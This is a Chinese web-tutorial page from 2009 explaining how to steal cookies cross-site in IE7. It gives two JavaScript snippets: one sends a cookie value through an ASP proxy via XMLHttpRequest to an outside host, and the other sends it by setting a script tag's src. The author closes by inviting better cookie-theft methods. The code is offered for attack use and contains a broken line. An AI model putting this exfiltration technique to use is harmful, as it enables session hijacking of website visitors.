当前位置: 首页 > 图文教程 > 网络编程 > AJAX技术 > ie7下利用ajax跨域盗取cookie的解决办法

AJAX技术
AJAX 用户注册时的应用实例
ajax readyState的五种状态详解
php AJAX POST的使用实例代码
Ajax 用户名验证是否存在
Ajax+PHP简单基础入门实例教程
AJAX 异步传输数据的问题
ASP AJAX 静态分页
js装载xml文件然后发向服务器的实现代码
完成了AJAX树附原理分析
AJAX 支持搜索引擎问题分析
ajax Suggest类似google的搜索提示效果
Ajax 框架学习笔记
用ajax xml的数据读取的HelloWorld程序
Ajax 表单验证 实现代码
Ajax request response 乱码解决方法
AJAX 随记
ajax 乱码的一种解决方法
ajax session过期问题的几个解决方案
四步学会 Ajax
Ajax异步(请求)提交类 支持跨域

AJAX技术 中的 ie7下利用ajax跨域盗取cookie的解决办法


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 37 ::
收藏到网摘: n/a

网上的很多文章提到的利用ajax盗取cookie的代码经我测试不可行。 研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码:
<script>
function getXmlHttpRequest(){
if(window.ActiveXObject){
var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(var i=0;i<ieArr.length;i++)
{
var xmlhttp= new ActiveXObject(ieArr[i]);
}
return xmlhttp;
} else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}
}
var xmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)
</script>
其中web.asp是一个asp代理。
这样直接访问http://192.168.8.108/a.htm是可以成功发送数据的。但是在跨站中,假如我们要跨192.168.8.108的站,这样来讲肯定不能让我们放一个web.asp在上边的,所以这种办法不可行。
另外,其它的ie7.0下跨站想盗取cookie一般都会用到iframe标签,在没有研究成功ajax发送的情况下,经过搜索发现了另一种跨站的思路,不需要用iframe来跨域提交,代码:
<script LANGUAGE="Javascript" src="" id="get">
</script>
<script LANGUAGE="Javascript">
<!--
function get(url)
{
var obj = document.getElementById("get");
obj.src = url;
(obj.readStatus == 200)
{
eval(alert("ok"));
}
}
get("http://ruanchen.com/.asp?cookie=12345678")
/*function query()
{
get("http://ruanchen.com/eb/1.img"); //在这里可以写代码,像把alert("ok")里的ok换成变量,1.img 中的代码是var ok="123"
}
//-->
*/
</script>
至于有其它更好的办法,在IE7下能直接ajax跨域盗取cookie的欢迎讨论